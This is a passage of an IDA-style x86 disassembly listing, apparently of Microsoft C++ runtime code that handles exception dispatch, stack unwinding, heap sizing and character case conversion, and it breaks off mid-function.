loc_41A469:				; CODE XREF: sub_41A3EE+74j
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A487
		cmp	[esi+14h], edi
		jnz	short loc_41A487
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A487
		call	sub_41ABF2

loc_41A487:				; CODE XREF: sub_41A3EE+41j
					; sub_41A3EE+46j ...
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41A56A
		cmp	[esi+14h], edi
		jnz	loc_41A56A
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162EB
		add	esp, 14h
		mov	ebx, eax

loc_41A4BE:				; CODE XREF: sub_41A3EE+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41A555
		cmp	[ebx], edi
		jg	short loc_41A54A
		cmp	edi, [ebx+4]
		jg	short loc_41A54A
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41A547

loc_41A4E3:				; CODE XREF: sub_41A3EE+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41A514

loc_41A4F5:				; CODE XREF: sub_41A3EE+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41A63D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A523
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41A4F5

loc_41A514:				; CODE XREF: sub_41A3EE+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41A4E3
		jmp	short loc_41A547
; ---------------------------------------------------------------------------

loc_41A523:				; CODE XREF: sub_41A3EE+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A74E
		add	esp, 2Ch

loc_41A547:				; CODE XREF: sub_41A3EE+F3j
					; sub_41A3EE+133j
		mov	edi, [ebp+var_10]

loc_41A54A:				; CODE XREF: sub_41A3EE+DEj
					; sub_41A3EE+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41A4BE
; ---------------------------------------------------------------------------

loc_41A555:				; CODE XREF: sub_41A3EE+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41A565
		push	1
		push	esi
		call	sub_41AAC3
		pop	ecx
		pop	ecx

loc_41A565:				; CODE XREF: sub_41A3EE+56j
					; sub_41A3EE+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A56A:				; CODE XREF: sub_41A3EE+37j
					; sub_41A3EE+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A590
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A595
		add	esp, 20h
		jmp	short loc_41A565
; ---------------------------------------------------------------------------

loc_41A590:				; CODE XREF: sub_41A3EE+180j
		jmp	sub_41AB9C
sub_41A3EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A595	proc near		; CODE XREF: sub_41A3EE+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_469514, 0
		push	esi
		push	edi
		jz	short loc_41A5C6
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4161C2
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A639

loc_41A5C6:				; CODE XREF: sub_41A595+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162EB
		add	esp, 14h
		mov	esi, eax

loc_41A5E2:				; CODE XREF: sub_41A595+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41A639
		cmp	edi, [esi]
		jl	short loc_41A631
		cmp	edi, [esi+4]
		jg	short loc_41A631
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41A60B
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41A631

loc_41A60B:				; CODE XREF: sub_41A595+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A74E
		add	esp, 2Ch

loc_41A631:				; CODE XREF: sub_41A595+57j
					; sub_41A595+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41A5E2
; ---------------------------------------------------------------------------

loc_41A639:				; CODE XREF: sub_41A595+2Fj
					; sub_41A595+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41A595	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A63D	proc near		; CODE XREF: sub_41A3EE+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41A694
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41A694
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41A66E
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A690

loc_41A66E:				; CODE XREF: sub_41A63D+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41A678
		test	byte ptr [edi],	8
		jz	short loc_41A690

loc_41A678:				; CODE XREF: sub_41A63D+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41A687
		test	byte ptr [edi],	1
		jz	short loc_41A690

loc_41A687:				; CODE XREF: sub_41A63D+43j
		test	al, 2
		jz	short loc_41A694
		test	byte ptr [edi],	2
		jnz	short loc_41A694

loc_41A690:				; CODE XREF: sub_41A63D+2Fj
					; sub_41A63D+39j ...
		xor	eax, eax
		jmp	short loc_41A697
; ---------------------------------------------------------------------------

loc_41A694:				; CODE XREF: sub_41A63D+Bj
					; sub_41A63D+14j ...
		push	1
		pop	eax

loc_41A697:				; CODE XREF: sub_41A63D+55j
		pop	edi
		pop	esi
		retn
sub_41A63D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A69A	proc near		; CODE XREF: sub_41A353+34p
					; sub_41A74E+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4217F8
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_41A6CC:				; CODE XREF: sub_41A69A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A726
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41A6DB
		cmp	esi, [edi+4]
		jl	short loc_41A6E0

loc_41A6DB:				; CODE XREF: sub_41A69A+3Aj
		call	sub_41ABF2

loc_41A6E0:				; CODE XREF: sub_41A69A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41A6FB
		push	103h
		push	ebx
		push	eax
		call	sub_41AB50

loc_41A6FB:				; CODE XREF: sub_41A69A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A71B
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41A738
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_41A71B:				; CODE XREF: sub_41A69A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41A6CC
; ---------------------------------------------------------------------------

loc_41A726:				; CODE XREF: sub_41A69A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A69A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A738	proc near		; CODE XREF: sub_41A69A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41A749
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A749:				; CODE XREF: sub_41A738+Cj
		jmp	sub_41AB9C
sub_41A738	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A74E	proc near		; CODE XREF: sub_41A3EE+151p
					; sub_41A595+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41A770
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8FF
		add	esp, 10h

loc_41A770:				; CODE XREF: sub_41A74E+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41A77C
		push	edi
		jmp	short loc_41A77F
; ---------------------------------------------------------------------------

loc_41A77C:				; CODE XREF: sub_41A74E+29j
		push	[ebp+arg_24]

loc_41A77F:				; CODE XREF: sub_41A74E+2Cj
		call	sub_4160C4
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41A69A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A7C9
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41A7C4
		push	edi
		push	eax
		call	sub_416082

loc_41A7C4:				; CODE XREF: sub_41A74E+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A74E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7C9	proc near		; CODE XREF: sub_41A74E+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421808
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_46950C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_469510
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_46950C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_469510, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_416149
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41A88F
		mov	eax, [ebp+var_2C]

loc_41A856:				; CODE XREF: sub_41A86F+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A7C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A865	proc near		; DATA XREF: seg000:00421818o
		push	dword ptr [ebp-14h]
		call	sub_41A8D5
		pop	ecx
		retn
sub_41A865	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A86F	proc near		; DATA XREF: seg000:0042181Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4163AA
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41A856
sub_41A86F	endp

; ---------------------------------------------------------------------------

loc_41A887:				; DATA XREF: seg000:00421810o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41A88F	proc near		; CODE XREF: sub_41A7C9+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_46950C, eax
		mov	eax, [ebp-20h]
		mov	dword_469510, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41A8D4
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41A8D4
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41A8D4
		cmp	[ebp-24h], ebx
		jnz	short locret_41A8D4
		cmp	[ebp-2Ch], ebx
		jz	short locret_41A8D4
		call	sub_416412
		push	eax
		push	edi
		call	sub_41AAC3
		pop	ecx
		pop	ecx

locret_41A8D4:				; CODE XREF: sub_41A88F+1Cj
					; sub_41A88F+22j ...
		retn
sub_41A88F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8D5	proc near		; CODE XREF: sub_41A865+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41A8FC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41A8FC:				; CODE XREF: sub_41A8D5+Cj
					; sub_41A8D5+12j ...
		xor	eax, eax
		retn
sub_41A8D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8FF	proc near		; CODE XREF: sub_41A74E+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421820
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41AAA8
		cmp	byte ptr [eax+8], 0
		jz	loc_41AAA8
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41AAA8
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41A99C
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_41A98D:				; CODE XREF: sub_41A8FF+F5j
		push	eax
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41AAA4
; ---------------------------------------------------------------------------

loc_41A99C:				; CODE XREF: sub_41A8FF+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41A9F6
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416490
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41AAA4
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41AAA4
		add	esi, 8
		push	esi
		jmp	short loc_41A98D
; ---------------------------------------------------------------------------

loc_41A9F6:				; CODE XREF: sub_41A8FF+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41AA3E
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416490
		add	esp, 0Ch
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------

loc_41AA3E:				; CODE XREF: sub_41A8FF+103j
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	dword ptr [esi+18h]
		call	sub_41DF9E
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		test	byte ptr [esi],	4
		jz	short loc_41AA85
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4160BD
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------

loc_41AA85:				; CODE XREF: sub_41A8FF+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4160B6
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------

loc_41AA9F:				; CODE XREF: sub_41A8FF+6Aj
					; sub_41A8FF+7Cj ...
		call	sub_41ABF2

loc_41AAA4:				; CODE XREF: sub_41A8FF+98j
					; sub_41A8FF+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_41AAA8:				; CODE XREF: sub_41A8FF+2Ej
					; sub_41A8FF+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A8FF	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAC3	proc near		; CODE XREF: sub_41A3EE+170p
					; sub_41A88F+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421830
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41AB0A
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41AB0A
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_4160B6
		or	[ebp+var_4], 0FFFFFFFFh

loc_41AB0A:				; CODE XREF: sub_41AAC3+2Aj
					; sub_41AAC3+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAC3	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB9C

; =============== S U B	R O U T	I N E =======================================



sub_41AB2A	proc near		; CODE XREF: sub_41A8FF+8Fp
					; sub_41A8FF+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41AB4B
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41AB4B:				; CODE XREF: sub_41AB2A+12j
		pop	esi
		retn
sub_41AB2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB50	proc near		; CODE XREF: sub_416149+40p
					; sub_41A69A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_416435
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41AB8F
		mov	ecx, 2

loc_41AB8F:				; CODE XREF: sub_41AB50+38j
		push	ecx
		call	sub_416435
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41AB50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB9C	proc near		; CODE XREF: sub_41A3EE:loc_41A590j
					; sub_41A738:loc_41A749j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041DFB6 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421840
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_469518
		test	eax, eax
		jz	short loc_41ABE4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41ABE0
; ---------------------------------------------------------------------------

loc_41ABD9:				; DATA XREF: seg000:00421850o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41ABDD:				; DATA XREF: seg000:00421854o
		mov	esp, [ebp+var_18]

loc_41ABE0:				; CODE XREF: sub_41AB9C+3Bj
		and	[ebp+var_4], 0

loc_41ABE4:				; CODE XREF: sub_41AB9C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41ABED:				; DATA XREF: seg000:00421848o
		jmp	loc_41DFB6
sub_41AB9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABF2	proc near		; CODE XREF: sub_4162EB+23p
					; sub_4162EB:loc_416356p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421858
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_4380D4
		test	eax, eax
		jz	short loc_41AC3A
		mov	[ebp+var_4], 1
		call	eax ; sub_41AB9C
		jmp	short loc_41AC36
; ---------------------------------------------------------------------------

loc_41AC2F:				; DATA XREF: seg000:00421868o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41AC33:				; DATA XREF: seg000:0042186Co
		mov	esp, [ebp+var_18]

loc_41AC36:				; CODE XREF: sub_41ABF2+3Bj
		and	[ebp+var_4], 0

loc_41AC3A:				; CODE XREF: sub_41ABF2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41AC43:				; DATA XREF: seg000:00421860o
		jmp	sub_41AB9C
sub_41ABF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC48	proc near		; CODE XREF: sub_4167D3+7p
					; sub_4167D3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418AFD
		test	eax, eax
		pop	ecx
		jz	short loc_41AC60
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------

loc_41AC60:				; CODE XREF: sub_41AC48+Ej
		push	esi
		push	0
		push	dword_46AB00
		call	dword_421188	; RtlSizeHeap
		pop	esi
		retn
sub_41AC48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC71	proc near		; CODE XREF: sub_416881+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_469528, 0
		push	ebx
		jnz	short loc_41AC9C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41AD3A
		cmp	eax, 7Ah
		jg	loc_41AD3A
		sub	eax, 20h
		jmp	loc_41AD3A
; ---------------------------------------------------------------------------

loc_41AC9C:				; CODE XREF: sub_41AC71+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41ACCF
		cmp	dword_437F7C, 1
		jle	short loc_41ACBC
		push	2
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41ACC7
; ---------------------------------------------------------------------------

loc_41ACBC:				; CODE XREF: sub_41AC71+3Dj
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_41ACC7:				; CODE XREF: sub_41AC71+49j
		test	eax, eax
		jnz	short loc_41ACCF

loc_41ACCB:				; CODE XREF: sub_41AC71+AFj
		mov	eax, ebx
		jmp	short loc_41AD3A
; ---------------------------------------------------------------------------

loc_41ACCF:				; CODE XREF: sub_41AC71+34j
					; sub_41AC71+58j
		mov	edx, off_437D70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41ACF2
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41ACFB
; ---------------------------------------------------------------------------

loc_41ACF2:				; CODE XREF: sub_41AC71+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_41ACFB:				; CODE XREF: sub_41AC71+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
